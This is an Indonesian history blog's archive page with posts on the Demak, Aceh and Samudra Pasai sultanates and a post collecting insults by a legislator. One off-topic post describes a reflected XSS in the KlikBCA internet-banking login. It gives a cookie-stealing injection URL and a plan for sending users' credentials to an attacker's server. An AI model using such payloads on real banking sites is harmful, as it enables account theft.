Kamis, 28 Januari 2010

Kemunduran Kesultanan Demak

Suksesi ke tangan Sunan Prawoto tidak berlangsung mulus. Ia ditentang oleh adik Sultan Trenggono, yaitu Pangeran Sekar Seda Lepen. Pangeran Sekar Seda Lepen akhirnya terbunuh. Pada tahun 1561 Sunan Prawoto beserta keluarganya "dihabisi" oleh suruhan Arya Penangsang, putera Pangeran Sekar Seda Lepen. Arya Penangsang kemudian menjadi penguasa tahta Demak.

Suruhan Arya Penangsang juga membunuh Pangeran Hadiri adipati Jepara, dan hal ini menyebabkan banyak adipati memusuhi Arya Penangsang.
Arya Penangsang akhirnya berhasil dibunuh dalam peperangan oleh Sutawijaya, anak angkat Joko Tingkir. Joko Tingkir memindahkan pusat pemerintahan ke Pajang, dan di sana ia mendirikan Kesultanan Pajang.
Terima Kasih atas kunjungannya ke blog Ini…
Tolong tinggalkan komentar anda setelah membaca ataupun meng-copy isi blog ini…

Lestarikan Sejarah Bangsa Kita…


Baca Lanjutannya
continue reading Kemunduran Kesultanan Demak

Selasa, 26 Januari 2010

Puluhan Grup Facebookers Anti Ruhut Sitompul

Berulang kali Anggota Dewan ini membuat Ulah, mulai dari menyinggung perasaan etnis Arab Indonesia dengan mengatakan bahwa bangsa Arab tidak pernah memberikan bantuan kepada Indonesia. Dan sebaliknya Ruhut justru membanggakan Amerika Serikat sebagai penyelamat ekonomi negara Indonesia yang ia sampaikan dalam diskusi “Mengungkap Strategi Tim Sukses Capres” di Gedung DPD, Jakarta. Selanjutnya, Ruhut menyindir mantan Menko Ekuin Kwik Kian Gie dengan membawa etnis China.


Belum cukup menyinggung perasaan etnis Arab dan China (Tionghoa) di Indonesia, Ruhut pada Rapat Century 6 Januari 2010 kembali mengeluarkan kata-kata yang tidak pantas. Ruhut yang selalu tampil berlebihan (dan memposisikan diri paling benar), mengeluarkan kata-kata yang tidak pantas di Gedung Senayan. Kata-kata yang tidak terhormat keluar dari anggota dewan terhormat. Ruhut Sitompul mengeluarkan kata “bangsat” kepada Prof Gayus Lumbuun setelah mereka berdua terlibat perang kata-kata di pansus. Merasa bahwa pembagian waktu yang tidak proportional, Ruhut memanggil pimpinan sidang pansus dengan “kodok”.

Berikut kutipan adu mulut kedua anggota komisi III itu:

Ruhut: Tanya sama kodok. Jangan marah-marah kodok. Engkau kan profesor.
Gayus: Anda jangan kurang ajar, jangan bawa-bawa profesor. Harusnya Pansus menegur Ruhut supaya dikembalikan di fraksinya saja karena sering bikin gaduh.
Ruhut : Anda pimpinan, Anda harus tegas…Kalau nggak senang lempar palu ke aku..
Gayus: Satu kata untuk engkau, diam kau!
Ruhut: Diam apa bangsat! brengsek!

Meskipun telah 3 kali disorot oleh publik sejak posisinya di Partai-nya SBY, Ruhut tampak santai dan seenaknya menyinggung lawan bicaranya dengan kata-kata yang kurang etis. Hal ini kembali terjadi pada Rapat Pansus Hak Angket DPR RI tentang Bank Century tanggal 14 Januari 2010. Pada rapat tersebut, pansus menghadirkan mantan Wakil Presiden RI HM Jusuf Kalla (JK), SE sebagai saksi ‘kunci’.

Adu argumen terjadi antara Ruhut dan JK, ketika JK menepis pernyataan Ruhut yang menyebutkan Wapres JK telah intervensi hukum. JK menyebut bahwa dirinya (Wapres) terlalu rendah jika intervensi polisi menangkap Robert Tantular, yang terjadi justru JK memerintahkan, bukan mengintervensi. Jawaban ini, langsung membuat peserta rapat dan hadirin di balkon tertawa. Hal ini tentu membuat Ruhut tidak senang. Mendapat argumen dari JK, Ruhut pun ‘menyerang’ lebih keras. Sampai saatnya, Ruhut tidak lagi memanggil JK dengan ‘Bapak”. Ruhut dengan nada yang tidak wajar memanggil JK dengan “Daeng”. Kata “Daeng” untuk identitas suku Bugis dikeluarkan dengan konteks tidak semestinya ini membuat dua anggota pansus yang berasal dari Sulawesi Selatan tersinggung.

Penggunaan kata Daeng (untuk suku Bugis) dalam kondisi, relasi dan waktu tepat merupakan sapaan hormat. Namun, ketika kata “Daeng” digunakan dengan nada, intonasi dan konteks yang tidak tepat, maka “Daeng” ini menjadi kata yang merendahkan martabat seseorang. Dan pada peristiwa itu, Ruhut menggunakan “Daeng” dengan nada sinis. Sehingga wajar jika ada orang dari suku Bugis menjadi marah.

Belum Cukup dengan itu semua kemarin Ruhut Sitompul kembali membuat ulah dengan Mengajukan interupsi berkaitan dengan Seorang anggota dewan F-PKS yang keluar masuk saat persidangan, mungkin ini sesuatu yang patut dipuji namun tindakannya justru menuai kontroversi karena beliau menyebut anggota dewan dari F-PKS itu dengan Ingus....


Berkaitan dengan semua aksi tersebut, Tampaknya tidak disukai para Facebookers di dunia maya. Silahkan ketik kata Ruhut Sitompul di kotak 'Search', maka akan ditemui puluhan grup yang Antiruhut.

Sampai dengan Kamis (21/1) pagi, jumlah grup yang kesal dengan Ruhut sudah mencapai 64 grup. Nama grupnya pun bermacam-macam. Ada yang terang-terangan menyebut dirinya sebagai grup 'Anti Ruhut Sitompul' dengan jumlah anggota 5.699 Facebookers.

Ada yang saking kesalnya melihat aksi politisi 'Poltak' ini sampai ingin mengusirnya dari Indonesia. Mereka bergabung di grup 'Usir Ruhut Sitompul dari Indonesia'.

Ruhut tercatat dua kali membuat pernyataan yang menyerempet Suku Agama dan Ras (SARA). Pertama ketika Pemilihan Legislatif (Pileg) ketika ia mengejek suku Arab, kedua saat ia memanggil mantan Wapres Jusuf Kalla dengan sebutan 'Daeng' di rapat Pansus.

Atas kejadian ini, Facebookers keturunan Arab dan Makassar pun geram. Mereka membuat grupnya masing-masing, semisal ada grup 'Cekal Ruhut Sitompul ke Makassar'.

Sampai saat ini, grup dengan pendukung terbanyak yaitu mencapai 11.762 orang adalah grup '1.000.000 Facebookers Meminta Partai Demokrat Untuk Memecat Ruhut Sitompul'.

Ruhut pun sempat mengeluarkan kata-kata makian, 'Bangsat' saat adu mulut dengan pimpinan pansus dari FPDIP Gayus Lumbuun. Belum cukup, Rabu lalu (13/1) mulut Ruhut menyemburkan kata-kata tidak senonoh, 'burung' dengan konotasi seksual saat bertanya ke mantan Kabareskrim Mabes Polri Komjen Susno Duadji.

Dagelan itu memancing grup untuk 'memotong 'burung' Ruhut'. Atau ada pula yang sudah bosan mendengarnya berbicara hingga mengusulkan lidahnya dipotong.

Uniknya, para Facebookers itu juga berlomba-lomba memajang foto Ruhut yang 'nyeleneh'. Misal, ada foto Ruhut yang dicoret tanda X besar. Ada foto Ruhut yang sedang berpelukan dengan perempuan. Ada pula foto Ruhut yang disandingkan dengan program acara televisi swasta, 'Take Him Out' tentu dengan makna menyindir Ruhut.

continue reading Puluhan Grup Facebookers Anti Ruhut Sitompul

Jumat, 22 Januari 2010

Benarkah Pembobolan ATM BCA dilakukan para Hacker?

Sedikit menyimpang dari tema sejarah yang diangkat oleh blog ini, saya akan membahas kasus pembobolan ATM BCA ini dari sudut pandang saya sebagai Blogger Sekaligus Seorang Hacker. Kenapa saya angkat tema ini? Sebenarnya saya berniat untuk meletakkan artikel ini di blog saya yang masih ada hubungannya dengan IT tapi setelah saya pertimbangkan kelihatannya artikel ini lebih cocok ada di blog ini dan saya pribadi memberikan label Sejarah Kelam Bangsa Kita untuk postingan ini.

Okeh kita lanjut ke inti masalah, Sepertinya berita tentang keamanan mesin ATM, khususnya ATM BCA sedang menjadi berita yang hangat diperbincangkan sejak kemarin. Banyak nasabah dari Bank tersebut merasa dirugikan karena kehilangan sejumlah besar Uang bahkan sempat saya dengar ada yang kehilangan sampai 150 juta padahal mereka tidak merasa menarik tunai tabungan mereka lewat ATM.

Banyak pendapat mencuat dari berbagai kalangan, ada yang berpendapat bahwa itu adalah adalah sindikat pembobol ATM yang sudah lama berkeliaran, ada yang berpendapat bahwa itu adalah permainan dari Internal BCA sendiri bahkan ada yang berpendapat bahwa itu adalah ulah dari para Hacker.

Saya tidak akan membahas pendapat pertama dan kedua karena menurut saya itu adalah pendapat yang paling kuat dan meyakinkan. Namun disini, saya akan membahas pendapat yang ketiga. Benarkah ini adalah ulah para Hacker?

Sebelum membahas ini lebih jauh saya akan sedikit meluruskan pengertian Hacker tersebut. Banyak orang mengira bahwa Hacker adalah orang yang berprilaku negatif dalam memanfaatkan ilmu yang dimilikinya, padahal sebenarnya para Hacker justru memanfaatkan pengetahuan mereka untuk membantu orang lain/ untuk hal yang positif. Kenapa saya katakan demikian? Karena saya sendiripun adalah seorang member dari 2 komunitas Hacker yang ada di Jakarta yaitu *****Hacker dan ****Hacker, nah lantas apa sebutan bagi mereka yang memakai ilmunya untuk kegiatan yang menjurus ke prilaku kriminal tersebut? Saya dan teman-teman di dalam komunitas biasa menyebutnya Cracker.

Setelah meluruskan pengertian tersebut saya akan kembali mengajukan pertanyaan serupa. Benarkah ini adalah ulah para Hacker Cracker?

Saya pribadi akan menjawab bahwa ini bukan ulah dari para Hacker Cracker, kenapa? Karena setahu saya seorang cracker tidak akan melakukan hal sekonyol itu hanya untuk membobol sebuah ATM. Kenapa saya katakan konyol? Karena saya dengar pembobolan Rekening lewat ATM ini dilakukan dengan menggunakan Spycam dan pengganda kartu ATM.

Jika anda pernah isenk searh di Google, peralatan yang mereka gunakan untuk membobol ATM tersebut dijual secara bebas di dunia maya dan hanya seharga $ 1500 atau senilai Rp.13.800.000,00 (jika kurs rupiah terhadap dolar senilai Rp 9.200,00.) harga yang sangat murah jika dibandingkan dengan hasil yang akan mereka dapatkan dan saya pribadi berpendapat bahwa ini semua bahkan bisa dilakukan oleh orang awam.

Lalu artinya apakah para cracker dapat melakukan hal yang jauh lebih berbahaya bagi para nasabah bank tersebut? Okeh karena disini bank yang diperbincangkan adalah Bank BCA saya akan memberikan sedikit contoh bagaimana para Cracker dapat dengan mudah membobol Security KlikBCA hanya dengan memanfaatkan XSS dan yang terpenting mempunyai sebuah nama domain sendiri yang menggunakan script php dan disini saya hanya akan menggunakan nama domain fiktif untuk memaparkannya. Apa itu XSS saya tidak akan membahasnya disini dan jika anda tertarik untuk mencari tahu silahkan gunakan Fasilitas Search Engine seperti Google, Yahoo, Bing, dll.

Saya akan melanjutkan, Mungkin banyak orang termasuk mereka yang ada di dalam Lingkup dari Security Klik BCA ini berpikir apa sih hal terburuk yang bisa menimpa server dengan XSS? Memang tidak secara langsung, namun ingat satu bug bisa di-exploit dengan 1001 macam cara yang semakin lama semakin efektif. Anda akan terkejut menyadari bahwa bug “seremeh” ini ternyata bisa diexploit sedemikian rupa.

The Vulnerability

Bug XSS ini akan muncul bila kita memasukkan username dan password yang salah. Ketika kita salah mengisi password, maka akan muncul dialog box yang memberitahu bahwa password kita salah.

URL ketika password kita salah adalah:

https://ibank.klikbca.com/authentication.do?value(ac

tions)=logout&value(strError)=Mohon masukkan User ID/Password Anda yg benar \n (Please enter Your correct User ID/Password)

URL tersebut akan menghasilkan source html sebagai berikut:
<script>

var err=‘User ID harus Alpha Numerik/User ID must be Alpha Numeric’
alert(err);
iBankForm.action=‘login.jsp’;
iBankForm.submit();
script>

Perhatikan bahwa setelah var err ditutup dengan karakter kutip (’). Jadi kalau kita ingin meng-injeksikan tag html atau javascript lain, kita harus tutup dulu dengan karakter (’). Mari kita coba untuk menampilkan dialog box berisi cookie dengan URL berikut:

https://ibank.klikbca.com/authentication.do?va

lue(actions)=logout&value(strError)=TEST';alert(document.cookie);
URL di atas menghasilkan source html berikut:

1

2

3

4

5

6

<script type=“text/javascript”>
var err=‘TEST’;alert(document.cookie);
alert(err);

iBankForm.action=’login.jsp‘;
iBankForm.submit();

Proses injeksi tersebut bisa dijelaskan dalam gambar berikut ini (klik gambar untuk lebih detil):

Oke saya rasa cukup main-mainnya, saya tidak terlalu suka cookie, saya ingin lebih dari itu, saya ingin username dan password.

Strategy and Tactics

Strategi yang saya pakai untuk mendapatkan username dan password sangatlah sederhana, yaitu dengan mengirimkan password dan username pada saat user meng-klik tombol submit. Untuk bisa menjalankan strategi itu saya menggunakan taktik berikut:

  1. Meng-intercept klik tombol submit

  2. Mengirimkan user dan password ke server saya

  3. Mencatat user dan password di server saya

Intercepting Submit Button

Saya menemukan kendala dalam mengintercept submit button. Kalau kita lihat pada source htmlnya button submit, kita akan temukan bahwa event onclick sudah di-hook untuk fungsi Login_Form_Validator. Setelah saya coba-coba, saya tidak bisa mengubah onclick itu ke fungsi lain.

1

2

3

<input type=“Submit” value=“LOGIN” name=“value(Submit)”
onclick=“javascript:return Login_Form_Validator(document.frmParam)”
onmouseover=“this.style.cursor=’hand’” />

Fungsi Login_Form_Validator digunakan untuk melakukan validasi awal apakah kita mengisi user dan password sesuai format yang benar.

var blnSubmitted = false;
function Login_Form_Validator( theForm ) {

document.forms[0]['value(user_id)'].autocomplete = ‘off’;
document.forms[0]['value(pswd)'].autocomplete = ‘off’;

var blnResponse = false;
if (blnSubmitted) {
return false;
}

var strErrMsg = “”;
if( document.forms[0]['value(user_id)'].value == ) {
alert(“Silakan mengisi User ID anda/Please input your User ID”);
document.forms[0]['value(user_id)'].focus();
return false;
}
if( document.forms[0]['value(user_id)'].value.length>12) {
alert(“User ID/Password Anda salah / Your User ID/Password is Wrong”);
document.forms[0]['value(user_id)'].select();
document.forms[0]['value(user_id)'].focus();
return false;
}

if(document.forms[0]['value(pswd)'].value == ) {
alert(“Silakan mengisi PIN anda/Please input your PIN”);
document.forms[0]['value(pswd)'].focus();
return false;
}
if(document.forms[0]['value(pswd)'].value.length<6) {
alert(“PIN harus 6 Angka/PIN must be 6 digits”);
document.forms[0]['value(pswd)'].focus();
return false;
}

//if(strErrMsg != ”) {
// alert(strErrMsg);
// return false;
//}

//blnSubmitted = confirm(”Click OK to login.”);
if ( !blnSubmitted ) {
blnSubmitted = true;
blnResponse = true;
}

//if(’< %= blnLogout %>’==’true’)
//blnResponse = false;

return blnResponse;
}

Mohon maaf karena blogger menggunakan Script html dan bukan php script lanjutannya tidak dapat muncul....bagi anda yang ingin tau script tersebut silahkan tinggalkan e-mail anda dan saya akan mengirimkannya....

Kesimpulan

Ternyata bug yang di-remehkan seperti XSS sekalipun, bila di-exploit bisa jadi berbahaya. Saya telah buktikan dengan contoh sederhana ini. Di tangan orang yang tepat celah sekecil apapun bisa menjadi masalah besar. Pesan saya: Never Underestimate Vulnerabilities

Penggunaan enkripsi https sama sekali tidak berguna dalam kasus ini. Karena https hanya menjamin authentication dan confidentiality saja.

Nah setelah selasai menbaca salah satu contoh yang saya jelaskan tersebut apakah menurut anda para Hacker Cracker akan melakukan hal sekonyol menggunakan spycam dan pengganda ATM hanya untuk menjerat korbannya?

NB: Kepada para nasabah Bank BCA tidak perlu khawatir setelah membaca postingan saya ini karena sekalipun sang cracker berhasil mencuri user dan password anda, saya bisa menjamin dia tidak akan bisa melakukan transaksi apapun menggunakan milik anda karena pihak BCA pun sudah membenahi securitynya. Dan bagi para blogger, postingan ini saya tulis hanya untuk berbagi oleh karena itu saya tidak bertanggung jawab sama sekali jika ada penyalahgunaan yang dilakukan.

Thanks for All member *****Hacker And ****Hacker atas Share Ilmunya


Ini semua saya dedikasikan untuk pembaca setia Sejarah Bangsa Kita serta semua rekan blogger diseluruh tanah air.


Oiya Yang mau Komentar saya persilahkan….


Finally, Happy Blogging N’ Have A Nice Day 4 All Blogger…




continue reading Benarkah Pembobolan ATM BCA dilakukan para Hacker?

Rabu, 20 Januari 2010

Kesultanan Demak Di bawah Pimpinan Pati Unus Dan Sultan Trenggana

Di bawah Pati Unus

Demak di bawah Pati Unus adalah Demak yang berwawasan nusantara. Visi besarnya adalah menjadikan Demak sebagai kesultanan maritim yang besar. Pada masa kepemimpinannya, Demak merasa terancam dengan pendudukan Portugis di Malaka. Dengan adanya Portugis di Malaka, kehancuran pelabuhan-pelabuhan Nusantara tinggal menunggu waktu.


Di bawah Sultan Trenggana

Sultan Trenggana berjasa atas penyebaran Islam di Jawa Timur dan Jawa Tengah. Di bawah Sultan Trenggana, Demak mulai menguasai daerah-daerah Jawa lainnya seperti merebut Sunda Kelapa dari Pajajaran serta menghalau tentara Portugis yang akan mendarat di sana (1527), Tuban (1527), Madiun (1529), Surabaya dan Pasuruan (1527), Malang (1545), dan Blambangan, kerajaan Hindu terakhir di ujung timur pulau Jawa (1527, 1546). Panglima perang Demak waktu itu adalah Fatahillah, pemuda asal Pasai (Sumatera), yang juga menjadi menantu Sultan Trenggana. Sultan Trenggana meninggal pada tahun 1546 dalam sebuah pertempuran menaklukkan Pasuruan, dan kemudian digantikan oleh Sunan Prawoto.

Terima Kasih atas kunjungannya ke blog Ini…

Tolong tinggalkan komentar anda setelah membaca ataupun meng-copy isi blog ini…


Lestarikan Sejarah Bangsa Kita…


continue reading Kesultanan Demak Di bawah Pimpinan Pati Unus Dan Sultan Trenggana

Selasa, 19 Januari 2010

Cikal-bakal Terbentuknya Kesultanan Demak

Pada saat Kerajaan Majapahit mengalami masa surut, secara praktis wilayah-wilayah kekuasaannya mulai memisahkan diri. Wilayah-wilayah yang terbagi menjadi kadipaten-kadipaten tersebut saling serang, saling mengklaim sebagai pewaris tahta Majapahit. Pada masa itu
arus kekuasaan mengerucut pada dua adipati, yaitu Raden Patah dan Ki Ageng Pengging. Sementara Raden Patah mendapat dukungan dari Walisongo, Ki Ageng Pengging mendapat dukungan dari Syekh Siti Jenar.

Terima Kasih atas kunjungannya ke blog Ini…

Tolong tinggalkan komentar anda setelah membaca ataupun meng-copy isi blog ini…


Lestarikan Sejarah Bangsa Kita…



Baca Lanjutannya


continue reading Cikal-bakal Terbentuknya Kesultanan Demak

Senin, 18 Januari 2010

Sedikit Penjelasan Awal Tentang Kesultanan Demak


Kesultanan Demak atau Kesultanan Demak Bintara adalah kesultanan Islam pertama di Jawa yang didirikan oleh Raden Patah pada tahun 1478. Kesultanan ini sebelumnya merupakan keadipatian (kadipaten) vazal dari kerajaan Majapahit, dan tercatat menjadi pelopor penyebaran agama Islam di pulau Jawa dan Indonesia pada umumnya. Kesultanan Demak tidak berumur panjang dan segera mengalami kemunduran karena terjadi perebutan kekuasaan di antara kerabat kerajaan. Pada tahun 1568, kekuasaan Kesultanan Demak beralih ke Kesultanan Pajang yang didirikan oleh Jaka Tingkir. Salah satu peninggalan bersejarah Kesultanan Demak ialah Mesjid Agung Demak, yang diperkirakan didirikan oleh para Walisongo. Lokasi ibukota Kesultanan Demak, yang pada masa itu masih dapat dilayari dari laut dan dinamakan Bintara, saat ini telah menjadi kota Demak di Jawa Tengah. Pada masa sultan ke-4 ibukota dipindahkan ke Prawata (dibaca "Prawoto").

Terima Kasih atas kunjungannya ke blog Ini…

Tolong tinggalkan komentar anda setelah membaca ataupun meng-copy isi blog ini…


Lestarikan Sejarah Bangsa Kita…



Baca Lanjutannya

continue reading Sedikit Penjelasan Awal Tentang Kesultanan Demak

Kamis, 14 Januari 2010

Sultan Aceh

Sultan Aceh merupakan penguasa / raja dari Kesultanan Aceh, tidak hanya sultan, di Aceh juga terdapat Sultanah / Sultan Wanita. Daftar Sultan yang pernah berkuasa di Aceh dapat dilihat lebih jauh di artikel utama dari Sultan Aceh.

Tradisi kesultanan

Gelar-Gelar yang Digunakan dalam Kerajaan Aceh

  • Teungku

  • Tuanku

  • Pocut

  • Teuku

  • Laksamana

  • Uleebalang

  • Cut

  • Panglima Sagoe

  • Meurah



Terima Kasih atas kunjungannya ke blog Ini…

Tolong tinggalkan komentar anda setelah membaca ataupun meng-copy isi blog ini…


Lestarikan Sejarah Bangsa Kita…



Baca Lanjutannya



continue reading Sultan Aceh

Rabu, 13 Januari 2010

Kemunduran Kesultanan Aceh Darussalam

Kemunduran Kesultanan Aceh bermula sejak kemangkatan Sultan Iskandar Tsani pada tahun 1641. Kemunduran Aceh disebabkan oleh beberapa faktor, diantaranya ialah makin menguatnya kekuasaan Belanda di pulau Sumatera dan Selat Malaka, ditandai dengan jatuhnya wilayah Minangkabau, Siak, Deli dan Bengkulu kedalam pangkuan penjajahan Belanda. Faktor penting lainnya ialah adanya perebutan kekuasaan diantara pewaris tahta kesultanan.

Traktat London yang ditandatangani pada 1824 telah memberi kekuasaan kepada Belanda untuk menguasai segala kawasan British/Inggris di Sumatra sementara Belanda akan menyerahkan segala kekuasaan perdagangan mereka di India dan juga berjanji tidak akan menandingi British/Inggris untuk menguasai Singapura.

Pada akhir November 1871, lahirlah apa yang disebut dengan Traktat Sumatera, dimana disebutkan dengan jelas "Inggris wajib berlepas diri dari segala unjuk perasaan terhadap perluasan kekuasaan Belanda di bagian manapun di Sumatera. Pembatasan-pembatasan Traktat London 1824 mengenai Aceh dibatalkan." Sejak itu, usaha-usaha untuk menyerbu Aceh makin santer disuarakan, baik dari negeri Belanda maupun Batavia. Setelah melakukan peperangan selama 40 tahun, Kesultanan Aceh akhirnya jatuh ke pangkuan kolonial Hindia-Belanda. Sejak kemerdekaan Indonesia pada tahun 1945, Aceh menyatakan bersedia bergabung ke dalam Republik indonesia atas ajakan dan bujukan dari Soekarno kepada pemimpin Aceh Tengku Muhammad Daud Beureueh saat itu.

Terima Kasih atas kunjungannya ke blog Ini…

Tolong tinggalkan komentar anda setelah membaca ataupun meng-copy isi blog ini…


Lestarikan Sejarah Bangsa Kita…



Baca Lanjutannya


continue reading Kemunduran Kesultanan Aceh Darussalam

Senin, 11 Januari 2010

Perang Aceh

Perang Aceh dimulai sejak Belanda menyatakan perang terhadap Aceh pada 26 Maret 1873 setelah melakukan beberapa ancaman diplomatik, namun tidak berhasil merebut wilayah yang besar. Perang kembali berkobar pada tahun 1883, namun lagi-lagi gagal, dan pada 1892 dan 1893, pihak Belanda menganggap bahwa mereka telah gagal merebut Aceh.

Dr. Snouck Hurgronje, seorang ahli Islam dari Universitas Leiden yang telah berhasil mendapatkan kepercayaan dari banyak pemimpin Aceh, kemudian memberikan saran kepada Belanda agar serangan mereka diarahkan kepada para ulama, bukan kepada sultan. Saran ini ternyata berhasil. Pada tahun 1898, J.B. van Heutsz dinyatakan sebagai gubernur Aceh, dan bersama letnannya, Hendricus Colijn, merebut sebagian besar Aceh.

Sultan M. Dawud akhirnya meyerahkan diri kepada Belanda pada tahun 1903 setelah dua istrinya, anak serta ibundanya terlebih dahulu ditangkap oleh Belanda. Kesultanan Aceh akhirnya jatuh seluruhnya pada tahun 1904. Saat itu, hampir seluruh Aceh telah direbut Belanda.

Terima Kasih atas kunjungannya ke blog Ini…

Tolong tinggalkan komentar anda setelah membaca ataupun meng-copy isi blog ini…


Lestarikan Sejarah Bangsa Kita…



Baca Lanjutannya


continue reading Perang Aceh

Jumat, 08 Januari 2010

Masa kejayaan Kesultanan Aceh Darussalam

Kesultanan Aceh mengalami masa keemasan pada masa kepemimpinan Sultan Iskandar Muda (1607 - 1636). Pada masa kepemimpinannya, Aceh telah berhasil memukul mundur kekuatan Portugis dari selat Malaka. Kejadian ini dilukiskan dalam La Grand Encyclopedie bahwa pada tahun 1582, bangsa Aceh sudah meluaskan pengaruhnya atas pulau-pulau Sunda (Sumatera, Jawa dan Kalimantan) serta atas sebagian tanah Semenanjung Melayu. Selain itu Aceh juga melakukan hubungan diplomatik dengan semua bangsa yang melayari Lautan Hindia. Pada tahun 1586, kesultanan Aceh melakukan penyerangan terhadap Portugis di Melaka dengan armada yang terdiri dari 500 buah kapal perang dan 60.000 tentara laut. Serangan ini dalam upaya memperluas dominasi Aceh atas Selat Malaka dan semenanjung Melayu. Walaupun Aceh telah berhasil mengepung Melaka dari segala penjuru, namun penyerangan ini gagal dikarenakan adanya persekongkolan antara Portugis dengan kesultanan Pahang.

Dalam lapangan pembinaan kesusasteraan dan ilmu agama, Aceh telah melahirkan beberapa ulama ternama, yang karangan mereka menjadi rujukan utama dalam bidang masing-masing, seperti Hamzah Fansuri dalam bukunya Tabyan Fi Ma'rifati al-U Adyan, Syamsuddin al-Sumatrani dalam bukunya Mi'raj al-Muhakikin al-Iman, Nuruddin ar-Raniry dalam bukunya Sirat al-Mustaqim, dan Syekh Abdul Rauf Singkili dalam bukunya Mi'raj al-Tulabb Fi Fashil.



Terima Kasih atas kunjungannya ke blog Ini…

Tolong tinggalkan komentar anda setelah membaca ataupun meng-copy isi blog ini…


Lestarikan Sejarah Bangsa Kita…



Baca Lanjutannya





continue reading Masa kejayaan Kesultanan Aceh Darussalam

Kamis, 07 Januari 2010

Sejarah Berdirinya Kesultanan Aceh Darussalam

Kesultanan Aceh Darussalam berdiri menjelang keruntuhan dari Samudera Pasai yang pada tahun 1360 ditaklukkan oleh Majapahit hingga kemundurannya di abad ke-14. Kesultanan Aceh terletak di utara pulau Sumatera dengan ibu kota Kutaraja (Banda Aceh) dengan sultan pertamnya adalah Sultan Ali Mughayat Syah yang dinobatkan pada pada Ahad, 1 Jumadil awal 913 H atau pada tanggal 8 September 1507. Dalam sejarahnya yang panjang itu
(1496 - 1903), Aceh telah mengukir masa lampaunya dengan begitu megah dan menakjubkan, terutama karena kemampuannya dalam mengembangkan pola dan sistem pendidikan militer, komitmennya dalam menentang imperialisme bangsa Eropa, sistem pemerintahan yang teratur dan sistematik, mewujudkan pusat-pusat pengkajian ilmu pengetahuan, hingga kemampuannya dalam menjalin hubungan diplomatik dengan negara lain.

Terima Kasih atas kunjungannya ke blog Ini…

Tolong tinggalkan komentar anda setelah membaca ataupun meng-copy isi blog ini…


Lestarikan Sejarah Bangsa Kita…

Baca Lanjutannya



continue reading Sejarah Berdirinya Kesultanan Aceh Darussalam

Awal mula Kesultanan Aceh Darussalam

Kesultanan Aceh didirikan oleh Sultan Ali Mughayat Syah pada tahun 1496. Diawal-awal masa pemerintahannya wilayah Kesultanan Aceh berkembang hingga mencakup Daya, Deli, Pedir, Pasai, dan Aru. Pada tahun 1528, Ali Mughayat Syah digantikan oleh putera sulungnya yang bernama Salahuddin, yang kemudian berkuasa hingga tahun 1537. Kemudian Salahuddin digantikan oleh Sultan Alauddin Riayat Syah al-Kahar yang berkuasa hingga tahun 1568.

Terima Kasih atas kunjungannya ke blog Ini…

Tolong tinggalkan komentar anda setelah membaca ataupun meng-copy isi blog ini…


Lestarikan Sejarah Bangsa Kita…



Baca Lanjutannya


continue reading Awal mula Kesultanan Aceh Darussalam

Rabu, 06 Januari 2010

Kesultanan Samudra Pasai Sebagai Pusat Perdagangan

Selain sebagai pusat perdagangan, Pasai juga menjadi pusat perkembangan Islam di Nusantara. Kebanyakan mubalig Islam yang datang ke Jawa dan daerah lain berasal dari Pasai.

Eratnya pengaruh Kerajaan Samudera Pasai dengan perkembangan Islam di Jawa juga terlihat dari sejarah dan latar belakang para Wali Songo. Sunan Kalijaga memperistri anak Maulana Ishak, Sultan Pasai. Sunan Gunung Jati alias Fatahillah yang gigih melawan penjajahan Portugis lahir dan besar di Pasai. Laksamana Cheng Ho tercatat juga pernah berkunjung ke Pasai.

Situs Kerajaan Islam Samudera Pasai ini sempat sangat terkenal di tahun 1980-an, sebelum konflik di Aceh semakin memanas dan menyurutkan para peziarah. Menurut Yakub, juru kunci makam Sultan Malikussaleh, nama besar sang sultan turut mengundang rasa keingintahuan para peziarah dari Malaysia, India, sampai Pakistan. “Negara-negara itu dulunya menjalin hubungan dagang dengan Pasai,” tutur Yakub.

Sejarah Pasai yang begitu panjang masih bisa ditelusuri lewat sejumlah situs makam para pendiri kerajaan dan keturunannya di makam raja-raja itu. Makam itu menjadi saksi satu-satunya karena peninggalan lain seperti istana sudah tidak ada. Makam Sultan Malikussaleh dan cucunya, Ratu Nahrisyah, adalah dua kompleks situs yang tergolong masih terawat. makam Malikal Zahir.

Menurut Snouck Hurgronje, hubungan langsung Arab dengan Indonesia baru berlangsung abad 17 pada masa kerajaan Samudra Pasai, Banten, Demak dan Mataram Baru.

Samudra Pasai sebelum menjadi kerajaan Islam merupakan kota pelabuhan yang berada dalam kekuasaan Majapahit, yang pada masa itu sedang mengalami kemunduran. Setelah dikuasai oleh pembesar Islam, para pedagang dari Tuban, Palembang, malaka, India, Cina dan lain-lain datang berdagang di Samudra Pasai. Menurut Ibnu Batutah: Samudera Pasai merupakan pelabuhan terpenting dan Istana Raja telah disusun dan diatur secara indah berdasarkan pola budaya Indonesia dan Islam.

Kehidupan masyarakat Samudera Pasai diwarnai oleh agama dan kebudayaan Islam. Pemerintahnya bersifat Theokrasi (berdasarkan ajaran Islam) rakyatnya sebagiab besar memeluk agama Islam. Raja raja Pasai membina persahabatan dengan Campa, India, Tiongkok, Majapahit dan Malaka. Pada tahun 1297 Malik Al saleh meninggal, dan digantikan oleh putranya Sultan Muhammad (th 1297 – 1326)
lebih dikenal dengan nama Malik Al Tahir, penggantinya Sultan Ahmad (th 1326 – 1348), juga pakai nama Malik Al Tahir, penggantinya Zainal Abidin.

Raja Zainal Abidin pada tahun 1511 terpaksa melarikan diri dan meninggalkan tahtanya berlindung di Majapahit, karena masih saudara raja Majapahit. Hal ini berarti hubungan kekerabatan Raja Samudra Pasai dengan Raja Majapahit terbina sangat baik, menurut berita Cina disebutkan pertengahan abad 15, Samudra Pasai masih mengirimkan utusannya ke Cina sebagai tanda persahabatan.makam Naina Hisana bin Naina.

Fatahilah, ulama terkemuka Pasai menikah dengan adik Sultan Trenggono(raja Demak/adik Patih Unus/anak Raden Patah). Fatahilah berhasil merebut Sunda Kelapa (22 Juni 1522) berganti nama menjadi Jayakarta.

Terima Kasih atas kunjungannya ke blog Ini…

Tolong tinggalkan komentar anda setelah membaca ataupun meng-copy isi blog ini…


Lestarikan Sejarah Bangsa Kita…



Baca Lanjutannya





continue reading Kesultanan Samudra Pasai Sebagai Pusat Perdagangan

Selasa, 05 Januari 2010

Sejarah Terbentuknya Kesultanan Samudra Pasai

